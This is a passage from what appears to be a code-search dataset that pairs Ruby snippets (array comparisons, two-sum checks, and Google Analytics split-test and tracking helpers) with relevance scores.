\n counter2.each_key do |key|\n if counter1.key?(key) \n if counter1[key] != counter2[key]\n return false\n end\n else \n return false\n end \n end\n return true\n \nend", "def recheck?(indexed_exprs)\n query_exprs = eq_exprs.keys.to_set + neq_exprs.keys.to_set\n remaining_exprs = query_exprs - indexed_exprs.map(&:expr)\n remaining_exprs.size > 0\n end", "def check_for_correct_indexes(user_guess, solution)\n zipped = @solution.zip(user_guess)\n @correct_indexes = zipped.count do |char, idx|\n char == idx\n end\n end", "def has_tied(new_board)\n new_board.each_with_index do |row,i|\n row.each_with_index do |col,j|\n return false if new_board[i][j] == '-'\n end\n end\n true\nend", "def is_matched(ind)\n\t\treturn @tile_Array[ind].return_match\n\tend", "def naive(a, target)\n\ta.each do |ie, i|\n\t\ta.each do |je, j|\n\t\t\tnext if i == j # cant be the same, i assume\n\t\t\treturn true if ie + je == target\n\t\tend\n\tend\n\treturn false\nend", "def unique?\n if @args[:data][:Index_type] == \"UNIQUE\"\n return true\n else\n return false\n end\n end", "def eql?(other_grid)\n return @id == other_grid.id\n #return @id == other_grid.id\n #result = false\n #if other_grid.x == @x && other_grid.y == @y \n # result = true\n # for y in 0...other_grid.y do\n # for x in 0...other_grid.x do\n # unless other_grid.block(x, y) == self.block(x, y)\n#\t result = false\n#\t break\n#\t end\n#\tend\n# end\n# end\n# result\n end", "def all_different?\n a = self.to_a.drop(1)\n self.each do |e|\n return false if a.include?(e)\n a.shift\n end\n return true\n end", "def got_three?(a) #no idea why thisis not working #wasn't calling the method got_three?\n #iterating over each index and using the .any? method (which returns true as long as the block is not false or nil)\n #so when a[index 1] is the same as index 2 AND index 3, the block is true and the any? method returns true.\n #if not it will return false.\n a.each_index.any? {|i| a[i] == a[i+1] && a[i+1] == a[i+2]}\nend", "def all?(indexes = (0...@size).to_a)\n Array(indexes).all? do |index| \n validate_index(index)\n bit_on?(index)\n end\n end", "def eql?(ha)\n return false if self.length != ha.length\n return true if (0...self.length).all? { |i| self.fetch(i).eql?(ha.fetch(i)) }\n return false\n end", "def ==(other)\n return false unless SparseVector === other\n @elements == other.elements && size == other.size\n end", "def unique?\n if @data.fetch(:Index_type) == \"UNIQUE\" || @data.fetch(:Non_unique).to_i == 0\n return true\n else\n return false\n end\n end", "def array_equals(array1, array2)\n #raise NotImplementedError\n#Check for the nil class first because array methods will not work\n if array1 == nil || array2 == nil\n if array1 == nil && array2 == nil\n return true\n else\n return false\n end\n end\n\n#Check for empty arrays\n if array1[0]==nil && array2[0]==nil\n return true\n elsif (array1[0] == nil) || (array2[0] == nil)\n return false\n end\n\n#Now we know that at least both arrays have elements we can determine their length\n#and look at each element to see if each index is the same.\n len1 = array1.length\n len2 = array2.length\n\n if len2 != len1\n return false\n end\n\n\n len1.times do |index|\n if array1[index] != array2[index]\n return false\n end\n end\n return true\nend", "def good_two_sum?(arr, target)\n input_hash = Hash.new\n \n arr.each.with_index do |el, i|\n input_hash[el]=i\n end\n arr.each.with_index do |el, i|\n var = input_hash[target - el]\n return true if var && var !=i\n end\n false\nend", "def array_equals(array1, array2)\n if array1.length == array2.length\n number = array1.length\n number.times do |i|\n if array1[i] != array2[i] \n return false\n end\n end\n return true\n end \n return false\nend", "def contain_match_at_indices(word, indices, guess)\n\t\t#Set secret_word to word from candidate_words\n\t\t#so we can use ComputerPlayer#check_guess method\n\t\t@secret_word = word\n\t\tmatching_indices = check_guess(guess)\n\t\t(indices == matching_indices) ? true : false\t\t\n\tend", "def same_values?(arr)\n arr.uniq.length == 1\n end", "def reactive_pair?(a, b)\n (a.ord - b.ord).abs == MATCH_DIFF\n end", "def array_equals(array1, array2)\n if array1 == nil || array2 == nil\n if array1 == nil && array2 == nil\n return true\n else\n return false\n end\n elsif array1.length == array2.length\n index = 0\n array1.length.times do\n if array1[index] != array2[index]\n return false\n end\n index += 1\n end\n return true\n else\n return false\n end\nend", "def is_board_at_combo_indices?(combo)\n combo.all? do |index|\n yield(index)\n end\nend", "def eql?(other)\n return false unless other.is_a?(RandomReadable)\n return super(other) unless has_size?\n\n begin\n return false if other.size != size\n rescue NotImplementedError\n return false\n end\n\n each_index do |i|\n return false unless at(i).eql?(other.at(i))\n end\n\n return true\n end", "def all_eql?(arr)\n arr.each_cons(2).all? { |x, y| x == y }\n end", "def locationsCompare(arr1, arr2)\n if arr2.length == 0\n return false\n elsif arr1.length != arr2.length || arr1 & arr2 != arr1\n return true\n end\n return false\n end", "def valid_row?(index)\n row_values = row(index).compact\n row_values == row_values.uniq\n end", "def compare_by_row_vectors(rows)\n my_rows = @rows\n sz = my_rows.size \n return false unless sz == rows.size\n \n for i in 0..sz-1 do\n return false unless my_rows[i] == rows[i]\n end\n true\n end", "def array_equals(array1, array2)\n if array1 == array2\n return true\n else\n return false\n end\n\n if array1.hash.length == array2.hash.length\n return true\n elsif array1[0] == array2[0]\n return true\n end\n\nend", "def same_num_elements?(hash1, hash2)\n hash1.size == hash2.size\n end", "def is_full?(i, j)\n end", "def duplications?\n size != uniq.size \n end", "def better_two_sum?(arr, target_sum)\n hash = {}\n arr.each_with_index do |ele,i|\n hash[ele] = i\n end\n arr.each_with_index do |ele,i|\n target = target_sum - ele\n return true if !hash[target].nil? && i != hash[target]\n end\n \n false\nend", "def array_equals(array1, array2)\n \n return true if (array1.nil? && array2.nil?) # if both cases are nil\n return false if (array1.nil? || array2.nil?) # if one case is nil\n return false if array1.length != array2.length\n\n array1.length.times do |index|\n return false if array1[index] != array2[index]\n end\n\n return true\nend", "def array_equals(array1, array2)\n if array1 == nil && array2 == nil\n return true\n elsif array1 == nil || array2 == nil\n return false\n end\n\n array1_length = array1.length\n array2_length = array2.length\n if array1_length == array2_length\n array1_length.times do |index|\n if array1[index] != array2[index]\n return false\n end\n end\n return true\n end\n return false\n \n raise NotImplementedError\n\nend", "def array_equals(array1, array2)\n if array1 == nil && array2 == nil\n return true\n elsif array1 == nil || array2 == nil\n return false\n elsif array1.length != array2.length\n return false\n elsif array1.length == array2.length\n element_count = 0\n array1.length.times do |x|\n if array1[x] == array2[x]\n element_count += 1\n else\n return false\n end\n end\n end\n\n if array1.length == element_count\n return true\n end\nend", "def min_indices\n indices_equal(self.min)\n end", "def is_one_away(a, b)\n ptr_a = 0\n ptr_b = 0\n one_away = false\n # 1)\n if a.length == b.length\n # 2)\n for i in 0...(a.length)\n if a[i] != b[i] && !one_away\n one_away = true\n elsif a[i] != b[i] && one_away\n return false\n end\n return true\n end\n else # 3)\n if (a.length - b.length).abs > 1\n return false\n elsif a.length > b.length\n for i in 0...(a.length)\n if a[i] == b[ptr_b]\n ptr_b += 1\n elsif a[i] != b[ptr_b] && !one_away\n one_away = true\n elsif a[i] != b[ptr_b] && one_away\n return false\n end\n end\n return true\n elsif a.length < b.length\n for i in 0...(b.length)\n if b[i] == a[ptr_a]\n ptr_a += 1\n elsif b[i] != a[ptr_a] && !one_away\n one_away = true\n elsif b[i] != a[ptr_a] && one_away\n return false\n end\n end\n return true\n end\n end\nend", "def identical_symbols(row_or_column)\n row_or_column[0] * 3 == row_or_column\n end", "def check_indices(data, num)\n data.length.should == num\n end", "def ==(other)\n if (@val.length != other.length || @rows != other.rows || @cols != other.cols)\n return false\n end\n for pos in 0...@val.length\n if (@val[pos] != other(@f[pos],@c[pos]))\n return false\n end\n end\n true\n end", "def array_equals(array1, array2)\n\n if array1 == nil && array2 == nil\n return true\n end\n\n if array1 == nil && array2 != nil\n return false\n end\n\n if array2 == nil && array1 != nil\n return false\n end\n\n if array1.length == 0 && array2.length == 0\n return true\n end\n\n if array1.length == 0 && array2.length != 0\n return false\n end\n\n if array2.length == 0 && array1.length != 0\n return false\n end\n\n idx = 0\n array1.length.times do\n if array1[idx] == array2[idx]\n idx +=1\n end\n end\n\n if idx == (array1.length) && idx == array2.length\n return true\n else\n return false\n end\nend", "def _correct_indices(indices)\n ## need to correct the indices based on what was deleted before\n indices_new = indices.reverse.inject do |final,ind_ar|\n new_final = final.collect do |fi|\n rtn = fi\n ind_ar.each do |ind|\n if ind <= fi\n rtn += 1 \n end\n end\n rtn\n end\n new_final.push(*ind_ar)\n new_final\n end\n indices_new.sort\n end", "def single?(index)\n number_of_targets(index) == 1\n end", "def two_sum?(arr,target) \n value_hash = {}\n arr.each.with_index do |el, idx|\n value_hash[el] = idx\n end\n value_hash.each do |k,v|\n target_pair = target - k \n return true if value_hash.key?(target_pair) && value_hash[target_pair] != v\n end\n false\nend", "def ==(o)\n return true if self.equal?(o)\n self.class == o.class &&\n first_row_index == o.first_row_index &&\n first_cell_index == o.first_cell_index &&\n last_row_index == o.last_row_index &&\n last_cell_index == o.last_cell_index &&\n allow_splitting == o.allow_splitting\n end", "def array_equals(array1, array2)\n # false if \n # different length\n # different element value\n # different order\n if (array1 == nil && array2 == nil )|| (array1 == [] && array2 == [])\n return true\n end\n\n if (array1 == [] || array2 == []) || (array1 == nil || array2 == nil)|| (array1.length != array2.length )\n return false \n end \n\n n = 0\n array1.each do |element|\n if element != array2[n]\n return false\n end\n n += 1\n end\n\n return true\n\nend", "def compare_all_rows\n @guess_rows.map do |guess|\n right_color = 0 \n right_spot = 0\n guess.get_pins.each.with_index do |pin, index|\n if pin == @correct_row.get_pins[index]\n right_spot += 1\n end\n end\n right_color = (guess.get_pins & @correct_row.get_pins).count\n [right_spot, right_color - right_spot, guess]\n end\n end", "def ==(other)\n return false unless other.is_a? YaleSparseMatrix\n nonzero_element_count == other.nonzero_element_count &&\n elements == other.elements &&\n row_index == other.row_index &&\n index_column == other.index_column\n end", "def ==(*several_variants)\n #This is a stub, used for indexing\n end", "def grid_search grid, target\n match = []\n i = 0\n\n grid.each_with_index do |x,xi|\n x.each_with_index do |y,yi|\n if y == target[i][i] && grid[xi][yi+1] == target[i][i+1] && grid[xi][yi+2] == target[i][i+2]\n match << [xi,yi]\n end\n # if y == target[i+1][i] && grid[xi][yi+1] == target[i+1][i+1]\n # match << [xi,yi]\n # end\n end\n end\n match\n\n # if match.size == target.size\n # puts \"YES\"\n # else\n # puts 'NO'\n # end\nend", "def array_equals(array1, array2)\n\n return true if array1 == array2\n\n return false if array1 == nil\n return false if array2 == nil\n\n array1_length = array1.length\n array2_length = array2.length\n if array1_length != array2_length\n return false\n end\n\n i = 0\n array1.length.times do\n return false if array1[i] != array2[i]\n i += 1\n end\n\nend", "def enable?(index); self.index == index; end", "def cafe_orders(arr1, arr2, serve)\n first_idx = 0\n second_idx = 0\n serve_idx = 0\n while serve_idx < serve.length\n if (arr1[first_idx] == serve[serve_idx] && first_idx < arr1.length)\n first_idx += 1\n elsif (arr2[second_idx] == serve[serve_idx] && second_idx < arr2.length)\n second_idx += 1\n else\n return false\n end\n serve_idx += 1\n end\n first_idx == arr1.length && second_idx == arr2.length\nend", "def equal_set(expected)\n message = \"#{Helpers.inspect_records(@object)} has the same records as #{Helpers.inspect_records(expected)}\"\n \n left = @object.map(&:id).sort\n right = expected.map(&:id).sort\n \n test_case.assert(left != right, message)\n end", "def same_or_dif? card_arr\n card_arr.uniq.size != 2\nend", "def alreadyseen(i, j)\n return true if @visited[i][j] == 1\n end" ]
[ "0.6535243", "0.6439782", "0.6421621", "0.6421101", "0.6419309", "0.6395746", "0.6280987", "0.6253959", "0.6253959", "0.6240753", "0.6206842", "0.6154226", "0.6130009", "0.61225605", "0.6117712", "0.6106797", "0.60610366", "0.60610366", "0.60396105", "0.6035586", "0.6031137", "0.60264635", "0.60153663", "0.60041136", "0.5988693", "0.5984904", "0.59809864", "0.5978129", "0.59711754", "0.5966476", "0.59321094", "0.5930486", "0.59297603", "0.59212095", "0.5919199", "0.5919148", "0.5913206", "0.5912005", "0.58996093", "0.588943", "0.5872483", "0.5871073", "0.5868564", "0.5858427", "0.58570147", "0.58514345", "0.58484703", "0.58430624", "0.5835429", "0.5835052", "0.5820804", "0.5820274", "0.5805717", "0.5798169", "0.57795966", "0.5777804", "0.5771073", "0.5758333", "0.5758173", "0.57566476", "0.5753908", "0.57521087", "0.57518566", "0.57514733", "0.57463664", "0.5739864", "0.57391596", "0.5729885", "0.5729042", "0.572511", "0.5725073", "0.5719855", "0.5719231", "0.5716942", "0.5710202", "0.57085896", "0.5702083", "0.5699741", "0.56923884", "0.569026", "0.56860197", "0.56857014", "0.56805336", "0.5678162", "0.56672925", "0.5666786", "0.56618184", "0.56583565", "0.5654694", "0.5640429", "0.56396735", "0.56384975", "0.5638056", "0.5635508", "0.56283015", "0.5620102", "0.5619854", "0.56145054", "0.5613058", "0.56087977", "0.5598624" ]
0.0
-1
get the split variation
def get_split_variation(test_name) if !cookies["split_#{test_name}"].nil? cookies["split_#{test_name}"] elsif !session[:split_data].nil? && !session[:split_data][test_name].nil? session[:split_data][test_name] end end
{ "objective": { "self": [], "paired": [], "triplet": [ [ "query", "document", "negatives" ] ] } }
[ "def variation; self[:variation]; end", "def variation\n params[:variation]\n end", "def get_variance\n end", "def get_variation()\n # Check if a value has been chosen and if not, choose 50 or 100.\n if @metadata[:variations] == nil\n @metadata[:variations] = [50, 100].choose\n end\n return @metadata[:variations]\n end", "def variation\n variations.first\n end", "def get_variance\n\t\tif @eleves.length == 0 \n\t\t\treturn -1\n\t\tend\n\t\tsomme = 0\n\t\tmean = self.get_mean\n\t\t@eleves.each do |e|\n\t\t\tsomme += (e.moyenne.to_i - mean)**2\n\t\tend\n\t\tsomme/=@eleves.length \n\tend", "def get_variance\n return 1.0/12.0 * (@upper-@lower)**2\n end", "def split_total_amount\n total=0\n reim_split_details.each do |split|\n next if split.marked_for_destruction?\n total+=split.percent_amount if split.percent_amount\n end\n total\n end", "def variance; end", "def discover_variance\r\n end", "def denominator\n @data[1]\n end", "def var\n m = self.mean\n sum = self.inject(0.0){|accum, i| accum +(i-m)**2 }\n sum/self.length\n end", "def variance\n stats.variance\n end", "def get_standard_deviation\n return Math.sqrt(get_variance)\n end", "def get_standard_deviation\n return Math.sqrt(get_variance)\n end", "def get_standard_deviation\n return Math.sqrt(get_variance)\n end", "def variance\n\t\treturn variance_population\n\tend", "def sample_variance\n stats.sample_variance\n end", "def variance\n\t\t\tvar = BigDecimal.new(0)\n\t\t\t(1..@sides).each { |i|\n\t\t\t\te = BigDecimal.new(@sides+1) / BigDecimal.new(2)\n\t\t\t\tvar += (BigDecimal.new(i - e)**2) / BigDecimal.new(@sides)\n\t\t\t}\n\t\t\tvar * BigDecimal.new(@count)\n\t\tend", "def benchvariation\n if @london_flag == 'Y'\n @benchvariance = @benchsubtotal1 * @benchmark_rates['M144'].to_f\n else\n 0\n end\n end", "def calculated_determinant\n # A arrondir à digit puis à mettre sous forme fractionnelle \n @equat.determinant.round(2)\n end", "def standard_deviation\n return Math.sqrt(self.variance / (self.length - 1))\n end", "def most_specific_subdivision; end", "def step_divisor\n 10 + features_sum(:anger_mantain)\n end", "def subdivision\n @subdivision\n end", "def sample_variance\n @mutex.synchronize do\n @M_2 / (@items - 1)\n end\n end", "def sample_variance\n avg=self.average\n sum=self.inject(0){|acc,i|acc +(i-avg)**2}\n return(1/self.length.to_f*sum)\n end", "def sample_variance\n avg=self.average\n sum=self.inject(0){|acc,i|acc +(i-avg)**2}\n return(1/self.length.to_f*sum)\n end", "def sample_variance\n avg=self.average\n sum=self.inject(0){|acc,i|acc +(i-avg)**2}\n return(1/self.length.to_f*sum)\n end", "def sample_variance\n avg=self.average\n sum=self.inject(0){|acc,i|acc +(i-avg)**2}\n return(1/self.length.to_f*sum)\n end", "def sample_variance\n avg=self.average\n sum=self.inject(0){|acc,i|acc +(i-avg)**2}\n return(1/self.length.to_f*sum)\n end", "def sample_variance\n avg=self.average\n sum=self.inject(0){|acc,i|acc + (i-avg)**2}\n return(1/self.length.to_f*sum)\n end", "def sample_variance\n avg = self.average\n sum = self.inject(0) { |acc, i| acc + (i - avg)**2 }\n return(1 / self.length.to_f*sum)\n end", "def standard_deviation\n\t\t\tBigDecimal.new(variance).sqrt(5)\n\t\tend", "def standard_deviation\n return Math.sqrt(self.sample_variance)\n end", "def standard_deviation\n return Math.sqrt(self.sample_variance)\n end", "def standard_deviation\n return Math.sqrt(self.sample_variance)\n end", "def standard_deviation\n return Math.sqrt(self.sample_variance)\n end", "def standard_deviation\n return Math.sqrt(self.sample_variance)\n end", "def standard_deviation\n return Math.sqrt(self.sample_variance)\n end", "def standard_deviation\n return Math.sqrt(self.sample_variance)\n end", "def standard_deviation\n return Math.sqrt(self.sample_variance)\n end", "def expected_variance\n ((max - min) ** 2) / 12\n end", "def sample_variance\n avg = self.average\n sum = self.inject(0) { |acc, i| acc + (i - avg) ** 2 }\n 1 / self.length.to_f * sum\n end", "def check_split\n (meal + ((meal * tip) / 100)) / group\n end", "def get_variation\n @_get_variation ||= self.product_variation.decorate\n end", "def ld_variance\n variances = Array.new(@nc, 0) \n @cluster.each_with_index do |subc, i|\n variances[i] = @feature.each_with_index.select { |f, j| subc.include? j }.map { |f_and_index| f_and_index[0] }.sample_variance\n end\n return variances\n end", "def variance\n sum = 0.0\n @diff_abs_pairs.each do |pair|\n #pp pair\n sum += (pair[1] - expected_error(pair[0]) )**2\n end\n sum\n end", "def variance\n central_moment(2)\n end", "def division\n return @division\n end", "def standard_deviation\n Math.sqrt(sample_variance)\n end", "def var_base_frac\n hash = self.bases_hash\n snp_hash = {}\n coverage = self.coverage\n return snp_hash if coverage < Options.mindepth\n # calculate proportion of each base in coverage\n hash.each_key do | base |\n freq = hash[base].to_f/coverage.to_f\n next if freq <= Options.noise\n snp_hash[base] = freq\n end\n snp_hash\n end", "def variance\n n = 0\n mean = 0.0\n s = 0.0\n numeric_items.each { |x|\n n = n + 1\n delta = x - mean\n mean = mean + (delta / n)\n s = s + delta * (x - mean)\n }\n # if you want to calculate std deviation of a sample change this to \"s / (n-1)\"\n return s / n\n end", "def variance\n avg = self.average\n self.inject(0) { |acc, i| acc + (i - avg)**2 }\n end", "def sample_variance\n mean = self.mean\n sum = self.inject(0) do |accum, index|\n accum + (index - mean) ** 2\n end\n sum/(self.length - 1).to_f\n end", "def standard_deviation\n Math.sqrt sample_variance\n end", "def standard_deviation\n Math.sqrt(self.sample_variance)\n end", "def get_part\n @part\n end", "def stddev\n\t\tMath.sqrt(variance)\n\tend", "def stddev\n\t\tMath.sqrt(variance)\n\tend", "def stdev\n Math.sqrt(variance)\n end", "def standard_deviation_denominator\n (reading_values.length - 1).to_f\n end", "def dividing_line; end", "def variance\n @cleaned_data.map{ |datum| deviation(datum) ** 2.0 }.sum / n.to_f\n end", "def get_variance\n (@dof > 2.0) ? (@dof / (@dof - 2)) : Float::NAN \n end", "def variance\n Variance.new(self)\n end", "def variance(level = @skl_level)\n return @skl_levelcache[level][:variance]\n end", "def standard_deviation\n Math.sqrt(variance)\n end", "def standard_deviation\n Math.sqrt(variance)\n end", "def variance\n # formula is A - B - (E[I])**2\n exp = expectation\n\n vars = []\n a_terms = a_calc\n b_terms = b_calc\n\n a_terms.each_with_index do |a_term, idx|\n vars << (a_term - b_terms[idx] - (exp**2))\n end\n vars\n end", "def standard_deviation\n Math.sqrt(self.variance)\n end", "def variance(sample = false)\n a = numerify\n avg = a.average\n sum = a.inject(0) { |sum, value| sum + (value - avg) ** 2}\n (1 / (a.length.to_f - (sample ? 1 : 0)) * sum)\n end", "def split_the_check\n @split_check = (total_check / diners).round(2)\n end", "def denominator() end", "def add_variance\n\n end", "def pre_divide; end", "def sample_variance\n return 0 if length <= 1\n sum_of_squares / (length - 1)\n end", "def var\n @var ||= (square_mean - mean ** 2) * n / (n - 1)\n end", "def variation(size)\n ActiveStorage::Variation.new(combine_options(size))\n end", "def variance\n if @london_flag == 'Y'\n @variance =\n if @supplier_name\n @subtotal1 * @rate_card.data['Variances'][@supplier_name]['London Location Variance Rate (%)'].to_f\n else\n @subtotal1 * @benchmark_rates['M144'].to_f\n end\n else\n 0\n end\n end", "def split\n return [0.0, 0] if self.zero?\n \n value = self.abs\n sign = (self>=0.0 ? 1.0 : -1.0)\n q = Math.log10(value)\n ip, fp = q.divmod(1)\n return [sign * 10**fp, ip]\n end", "def sd\n Math.sqrt(variance)\n end", "def sd\n @sd ||= var ** 0.5\n end", "def variance\n # Calculate the mean average a single time rather than once per iteration\n mean = self.mean\n\n # Calculate (element - mean) ^ 2 for all elements, add the results together and divide by (n - 1)\n map { |element| (element - mean) ** 2 }.sum / (count - 1).to_f\n end", "def stddev\n Math::sqrt(@variance)\n end", "def test_total_split\n dinner = Checksplitter.new(20, 20, 4)\n \n assert_equal(dinner.total_split, (dinner.total_cost / dinner.number_of_people))\n end", "def stddev\n Math.sqrt(variance)\n end", "def test_split\n assert_equal((46 / 3.0).round(2), @check_test.split.to_f)\n end", "def fractional\n self\n end", "def subdivisions; end", "def convergence\n variance\n end", "def variance_sample m=nil\n @vector.variance_sample m\n end", "def sample_variance\n avg = mean\n sum = inject(0){|acc,i|acc +(i-avg)**2}\n sum.to_f/size\n end", "def average_variance\n return '0' unless item_receipts_with_variance.present?\n result = item_receipts_with_variance.map{ |ir| (ir.price - ir.item_order.price).abs }.reduce(&:+) / item_receipts_with_variance.count\n Money.new(result * 100).to_s\n end", "def volume\n a, b, c, d = @points\n ((a - d) % ((b - d) * (c - d))) / 6\n end", "def var\n raise 'Length must be greater than 1' if length < 2\n mu = mean\n map { |v| (v**2 - mu**2) }.sum.to_f / (length - 1)\n end", "def pop_var\n return nil if length == 0\n average = avg\n 1 / length.to_f * inject(0) { |acc, i| acc + (i - average) ** 2 }\n end", "def variance n\r\n\t\t\treturn 1.0 * n * ( 1.0 * @p / ( @p + @q ) ) * ( 1.0 * @q / ( @p + @q ) ) * ( 1.0 * ( ( @q + @p ) - n ) / ( ( @q + @p ) - 1 ) )\r\n\t\tend", "def get_baseline_sigma\n return Math.sqrt(self.get_baseline_variance)\n end", "def variance\n\t\tavg = mean\n\t\tsummation = predictions.inject(0.0) {|sum, pred| sum + (pred.error - avg)**2 }\n\t\tsummation / (predictions.size - 1)\n\tend" ]
[ "0.68746", "0.66324335", "0.64078057", "0.63346726", "0.62856925", "0.6216766", "0.61078775", "0.60200906", "0.60057515", "0.58925223", "0.58521014", "0.5843746", "0.5777128", "0.5773862", "0.5773862", "0.5773862", "0.57737213", "0.5769706", "0.5751537", "0.5718574", "0.5715119", "0.57055163", "0.5700494", "0.56996024", "0.56995267", "0.56942147", "0.56667733", "0.56667733", "0.56667733", "0.56667733", "0.56667733", "0.5660547", "0.5651023", "0.5638715", "0.5632724", "0.5632724", "0.5632724", "0.5632724", "0.5632724", "0.5632724", "0.5632724", "0.5632724", "0.56289715", "0.5619394", "0.5589219", "0.5580508", "0.5532341", "0.5519861", "0.5519846", "0.5518065", "0.5504401", "0.55019844", "0.5484097", "0.548027", "0.547955", "0.5479476", "0.5474081", "0.54577386", "0.54526335", "0.54526335", "0.54501295", "0.5447857", "0.5413963", "0.5410668", "0.54091877", "0.5406386", "0.53945976", "0.53818625", "0.53818625", "0.53685313", "0.5366091", "0.5359457", "0.53524333", "0.53378767", "0.5323099", "0.53126127", "0.5309968", "0.530802", "0.5300898", "0.53004926", "0.52997166", "0.528532", "0.52847356", "0.52681375", "0.5261165", "0.525853", "0.5253372", "0.52525043", "0.52317685", "0.5221578", "0.5219251", "0.51969606", "0.5192055", "0.5189079", "0.51861614", "0.51765615", "0.51676905", "0.51555574", "0.51514804", "0.51388407" ]
0.6555288
2
call this in your view before your google analytics tracking snippet
def track_split_with_google_analytics(test_name, slot_number = 1) current_variation = get_split_variation(test_name) unless current_variation.nil? "<script type='text/javascript'> var _gaq = _gaq || []; _gaq.push(['_setCustomVar', #{slot_number}, 'split_#{test_name}', '#{current_variation}', 1]); </script>" end end
{ "objective": { "self": [], "paired": [], "triplet": [ [ "query", "document", "negatives" ] ] } }
[ "def add_google_analytics_code\n if GoogleAnalytics.defer_load\n response.body.sub! '</body>', \"#{google_analytics_code}</body>\" if response.body.respond_to?(:sub!)\n else\n response.body.sub! '<body>', \"<body>#{google_analytics_code}\" if response.body.respond_to?(:sub!)\n end\n end", "def hook\n raise \"Cannot use hooks with Google Analytics methods\"\n end", "def add_google_analytics_code\n if GoogleAnalytics.asynchronous_mode\n response.body.sub! /(<\\/[hH][eE][aA][dD][^>]*>)/, \"#{google_analytics_code}\\\\1\" if response.body.respond_to?(:sub!)\n elsif GoogleAnalytics.defer_load\n response.body.sub! /<\\/[bB][oO][dD][yY]>/, \"#{google_analytics_code}</body>\" if response.body.respond_to?(:sub!)\n else\n response.body.sub! /(<[bB][oO][dD][yY][^>]*>)/, \"\\\\1#{google_analytics_code}\" if response.body.respond_to?(:sub!)\n end\n end", "def b_tracking_code(account_id, track_page_id)\n <<-SCRIPT\n <!-- Google Website Optimizer Tracking Script -->\n <script type=\"text/javascript\">\n var _gaq = _gaq || [];\n _gaq.push(['gwo._setAccount', '#{account_id}']);\n _gaq.push(['gwo._trackPageview', '/#{track_page_id}/test']);\n #{load_ga_src}\n </script>\n <!-- End of Google Website Optimizer Tracking Script -->\n SCRIPT\n end", "def ga_tracker(include_ga_tracker=Rails.env.production?)\n @ga_tracker = include_ga_tracker\n end", "def set_tracking\n end", "def ua_tracking_snippet(ga_tracking_code=nil)\n ga_tracking_code ||= @config[:ga_tracking_code] || \"UA-xxxxxx-x\"\n js = <<-EOS\n (function(i,s,o,g,r,a,m){i['GoogleAnalyticsObject']=r;i[r]=i[r]||function(){\n (i[r].q=i[r].q||[]).push(arguments)},i[r].l=1*new Date();a=s.createElement(o),\n m=s.getElementsByTagName(o)[0];a.async=1;a.src=g;m.parentNode.insertBefore(a,m)\n })(window,document,'script','//www.google-analytics.com/analytics.js','ga');\n\n ga('create', '#{ga_tracking_code}', 'auto');\n ga('send', 'pageview');\n EOS\n content_tag('script', js, { :type => 'text/javascript' })\n end", "def set_tracking\n # set ad campaign stats if a source is in the url\n if cookies[:visitor_token].nil?\n begin\n visitor_token = SecureRandom.urlsafe_base64\n end while Applicant.exists?(:visitor_token => visitor_token)\n cookies[:visitor_token] = { value: visitor_token, expires: 30.days.from_now }\n end\n\n \tif !params[:src].nil?\n session[:src] = params[:src] \n session[:camp] = params[:camp]\n session[:adgrp] = params[:adg]\n session[:kw] = params[:kw]\n session[:ad] = params[:ad]\n session[:plc] = params[:plc]\n end\n\n # set site tracking stats\n if session[:page_views].nil?\n session[:page_views] = 1 \n #for direct visitors session[:referer_uri] is nil\n session[:referer_uri] = request.env[\"HTTP_REFERER\"]\n session[:device] = set_device\n session[:entry_page] = request.fullpath\n session[:entry_time] = Time.now\n else\n session[:page_views] += 1\n end\n end", "def on_pre_request( request ); end", "def setup_analytics\n cookie_value = cookies[\"_ga\"].split(\".\").last(2).join(\".\") if cookies[\"_ga\"]\n cookie_value = nil if cookie_value.blank?\n session[:ga_client_id] ||= cookie_value || SecureRandom.uuid\n opts = {}\n opts[:user_id] = @current_user.id if @current_user\n @tracker = Staccato.tracker(ENV['GA_TRACKING_ID'], session[:ga_client_id], opts)\n end", "def google_analytics_include_tag(tracking_id, host)\n javascript_tag(<<-Javascript)\n (function(i,s,o,g,r,a,m){i['GoogleAnalyticsObject']=r;i[r]=i[r]||function(){\n (i[r].q=i[r].q||[]).push(arguments)},i[r].l=1*new Date();a=s.createElement(o),\n m=s.getElementsByTagName(o)[0];a.async=1;a.src=g;m.parentNode.insertBefore(a,m)\n })(window,document,'script','//www.google-analytics.com/analytics.js','ga');\n\n ga('create', '#{tracking_id}', '#{host}');\n ga('send', 'pageview');\n Javascript\n end", "def google_analytics\n html = ''\n ga_acc = @opts[:code] || @opts[:ga_acc]\n if ga_acc && ga_acc != '/'\n html << %(\n <!-- Google analytics. -->\n<script type=\"text/javascript\">\n (function(i,s,o,g,r,a,m){\n if (typeof(eu_cookies_allowed) === \"function\" && !eu_cookies_allowed() ) return;\n\n i['GoogleAnalyticsObject']=r;i[r]=i[r]||function(){\n (i[r].q=i[r].q||[]).push(arguments)},i[r].l=1*new Date();a=s.createElement(o),\n m=s.getElementsByTagName(o)[0];a.async=1;a.src=g;m.parentNode.insertBefore(a,m)\n })(window,document,'script','//www.google-analytics.com/analytics.js','ga');\n\n if (typeof(ga) === \"function\") {\n ga('create', '#{ga_acc}', 'auto');\n ga('send', 'pageview')\n }\n</script>\n)\n end\n\n ga4_acc = @opts[:code4] || @opts[:ga4_acc]\n if ga4_acc && ga4_acc != '/'\n html << %(\n <!-- Global site tag (gtag.js) - Google Analytics -->\n <script async src=\"https://www.googletagmanager.com/gtag/js?id=#{ga4_acc}\"></script>\n<script>\n window.dataLayer = window.dataLayer || [];\n function gtag(){dataLayer.push(arguments);}\n gtag('js', new Date());\n\n gtag('config', '#{ga4_acc}');\n</script>)\n end\n\n html.html_safe\nend", "def insert_google_analytics_script\n if File::exist?(\n filename=File::join(Rails.root,\"config/google_analytics.head\")\n )\n File.new(filename).read.html_safe\n end\n end", "def contentr_google_analytics\n if Contentr.google_analytics_account.present?\n render(\n partial: 'contentr/google_analytics',\n locals: {\n account_id: Contentr.google_analytics_account\n }\n )\n end\n end", "def track_page_view()\n time_stamp = Time.now.to_s\n domain_name = ENV[\"SERVER_NAME\"]\n domain_name ||= \"\"\n\n #Get the referrer from the utmr parameter, this is the referrer to the\n #page that contains the tracking pixel, not the referrer for tracking\n #pixel.\n document_referer = $cgi[\"utmr\"]\n if document_referer != \"\" && document_referer != \"0\"\n document_referer = \"-\"\n else\n document_referer = CGI.unescape(document_referer)\n end\n\n document_path = $cgi[\"utmp\"]\n document_path ||= \"\"\n document_path = CGI.unescape(document_path)\n\n account = $cgi[\"utmac\"]\n user_agent = ENV[\"HTTP_USER_AGENT\"]\n user_agent ||= \"\"\n\n #Try and get visitor cookie from the request.\n cookie = $cgi.cookies[COOKIE_NAME]\n\n guid_header = 